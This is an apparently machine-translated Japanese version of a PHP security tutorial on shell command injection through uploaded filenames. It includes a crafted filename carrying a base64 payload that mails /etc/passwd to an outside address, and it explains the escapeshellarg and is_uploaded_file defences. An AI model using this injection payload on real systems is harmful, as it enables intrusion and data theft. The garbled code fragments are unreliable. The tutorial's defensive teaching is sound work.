安全性
セキュリティ問題に注意を払うことの重要性
見るだけがすべてではない
ユーザーがプログラムに悪意を持ってダメージを与えるのを防ぐための最も効果的だが見落とされがちな方法は、コードを書くときにその可能性を考慮することです。コード内で起こり得るセキュリティ上の問題を認識することが重要です。 PHP で大きなテキスト ファイルを書き込むプロセスを簡略化するために設計された次の関数の例を考えてみましょう。 / ファイル名が空の場合は、すべてのファイルを閉じます
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
return true; md5($filename);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+"); return false;
}
fputs($open_files[$index], $text);
return true;
この関数は、ファイル名とファイルに書き込まれるテキストの 2 つのデフォルトパラメータを受け取ります。 。
この関数はまずファイルが開かれているかどうかを確認し、開かれている場合は元のファイル ハンドルが使用されます。それ以外の場合は、自動的に作成されます。どちらの場合も、テキストはファイルに書き込まれます。
関数に渡されたファイル名が NULL の場合、開いているファイルはすべて閉じられます。使用例を以下に示します。
開発者が次の形式で複数のテキスト ファイルを作成すると、この関数はより明確で読みやすくなります。
この関数が、この関数を呼び出すコードを含む別のファイルに存在すると仮定します。
以下はそのようなプログラムで、quotes.php と呼ばれます:
このプログラムは非常にシンプルで理解しやすいように見えますが、悪意のあるユーザーが悪用する方法がいくつかあります。最も深刻なセキュリティ問題は、圧縮コマンドを (` 演算子を介して) 実行するときに存在します。これは、次の行ではっきりとわかります:
if (isset($_FILES['file'])) {
$ tmp_name = $ _FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name'])
"/{$_FILES['file']['name' ]}。 zip";
$filename = Basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
..
プログラムを騙して任意のシェル コマンドを実行させる
このコードは非常に安全に見えますが、ファイルのアップロード権限を持つユーザーに任意のシェル コマンドを実行できるようにしてしまう潜在的な危険性があります。
正確に言うと、このセキュリティ脆弱性は $cmp_name 変数の割り当てに起因します。ここでは、圧縮ファイルのファイル名を、クライアントからアップロードしたときと同じにする必要があります (拡張子は .zip)。 $_FILES['file']['name'] (クライアントにアップロードされたファイルのファイル名が含まれます) を使用しました。
この場合、悪意のあるユーザーは、特別な意味を持つ文字を含むファイルを基盤となるオペレーティング システムにアップロードすることで、自身の目的を達成できます。たとえば、以下に示すようにユーザーが空のファイルを作成した場合はどうなるでしょうか? (UNIX シェル プロンプトで)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';"
このコマンドは、次の名前のファイルを作成します:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
奇妙に見えますか? この「ファイル名」を見てみましょう。PHP の CLI バージョンで次のコードを実行するコマンドによく似ていることがわかります:
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N) 3ZA ==) ;
system($code);
?>
興味本位で $code 変数の内容を表示すると、その中に mail baduser@somewhere.com < /etc/passwd が含まれていることがわかります。プログラムに渡され、PHPがファイルを実行して、実際に次のステートメントを実行します。 = ")) ;
system($code);';.zip /tmp/phpY4iatI
驚くべきことに、上記のコマンドは 1 つのステートメントではなく 3 つのステートメントです! UNIX シェルはセミコロン (;) をシェル コマンドの終わりとして解釈するためです。別のコマンドの先頭では、セミコロンが引用符で囲まれている場合を除き、PHP の system() は実際には次のように実行されます:
[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
[user@localhost]# .zip /tmp/phpY4iatI
としてご覧のとおり、これは無害に見えますPHP プログラムは、任意のシェル コマンドや他の PHP プログラムを実行するためのバックドアになります。この例は、パスに CLI バージョンの PHP が含まれるシステムでのみ機能しますが、この手法を使用する他の方法でも同じ効果を達成できます。システムコール攻撃との戦い
ここで重要なのは、コンテンツに関係なく、ユーザーからの入力は信頼すべきではないということです。システム コールを使用するときに (システム コールをまったく使用しない以外に) 同様の状況をどのように回避するかという問題は残ります。このタイプの攻撃に対抗するために、PHP は 2 つの関数、escapeshellarg() とscapeshellcmd() を提供します。
escapeshellarg() 関数は、システム コマンド (この場合は zip コマンド) への引数として使用されるユーザー入力から潜在的に危険な文字を削除するように設計されています。この関数の構文は次のとおりです:
escapeshellarg($string)
$string はフィルタリングの入力であり、戻り値はフィルタリングされた文字です。この関数を実行すると、文字の周囲に一重引用符が追加され、元の文字列内の一重引用符がエスケープ (前に置かれます) されます。私たちのルーチンでは、システム コマンドを実行する前に次の行を追加すると、
$cmp_name =escapeshellarg($cmp_name);
$tmp_name =escapeshellarg($tmp_name); パラメータが次のように設定されていることを確認することで、システム コールに渡すことができます。このようなセキュリティリスクを回避するために、他の意図のないユーザー入力として処理されます。
escapeshellcmd() は、基盤となるオペレーティング システムにとって特別な意味を持つ文字のみをエスケープする点を除いて、escapeshellarg() に似ています。 escapeshellarg() とは異なり、escapeshellcmd() はコンテンツ内の空白を処理しません。たとえば、escapeshellcmd() を使用してエスケープすると、文字
$string = "'hello, world!';evilcommand"
は次のようになります:
'hello, world';evilcommand
この文字列がシステム コールとして使用される場合シェルはそれを 2 つの別個の引数 ('hello と world';evilcommand) として解釈するため、引数は依然として正しい結果を取得しません。ユーザーがシステムコールの引数リストの一部を入力する場合は、escapeshellarg() の方が良い選択です。
アップロードされたファイルを保護する
この記事全体を通じて、私は悪意のあるユーザーによってシステム コールがどのようにハイジャックされ、望ましくない結果が生じる可能性があるかのみに焦点を当ててきました。
ただし、ここで言及する価値のある別の潜在的なセキュリティ リスクがあります。もう一度ルーチンを見て、次の行に注目してください。
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file' ]['tmp_name'] ) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
潜在的なセキュリティリスクが発生する上記のスニペットのコード行は、最後の行でアップロードされたファイルが実際に存在するかどうかを判断します (一時ファイル名 $tmp_name で存在します)。
このセキュリティリスクは、PHP 自体に起因するものではなく、$tmp_name に保存されたファイル名が実際にはファイルではなく、悪意のあるユーザーがアクセスしたいファイル (/etc/ など) を指しているという事実から発生します。パスワード。
この状況の発生を防ぐために、PHP には file_exists() と同じ is_uploaded_file() 関数が用意されていますが、この関数はファイルが実際にクライアントからアップロードされたかどうかのチェックも提供します。
ほとんどの場合、アップロードされたファイルを移動する必要があります。PHP には、is_uploaded_file() と連携する move_uploaded_file() 関数が用意されています。この関数は、rename() と同様にファイルを移動するために使用されます。ただし、実行前に、移動されたファイルがアップロードされたファイルであるかどうかを自動的にチェックします。 move_uploaded_file() の構文は次のとおりです。
move_uploaded_file($filename, $destination);実行されると、関数はアップロードされたファイル $filename を宛先 $destination に移動し、操作が成功したかどうかを示すブール値を返します。
注: John Coggeshall は PHP コンサルタント兼著者です。 PHP を中心に寝るようになって約 5 年になります。
英語原文: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html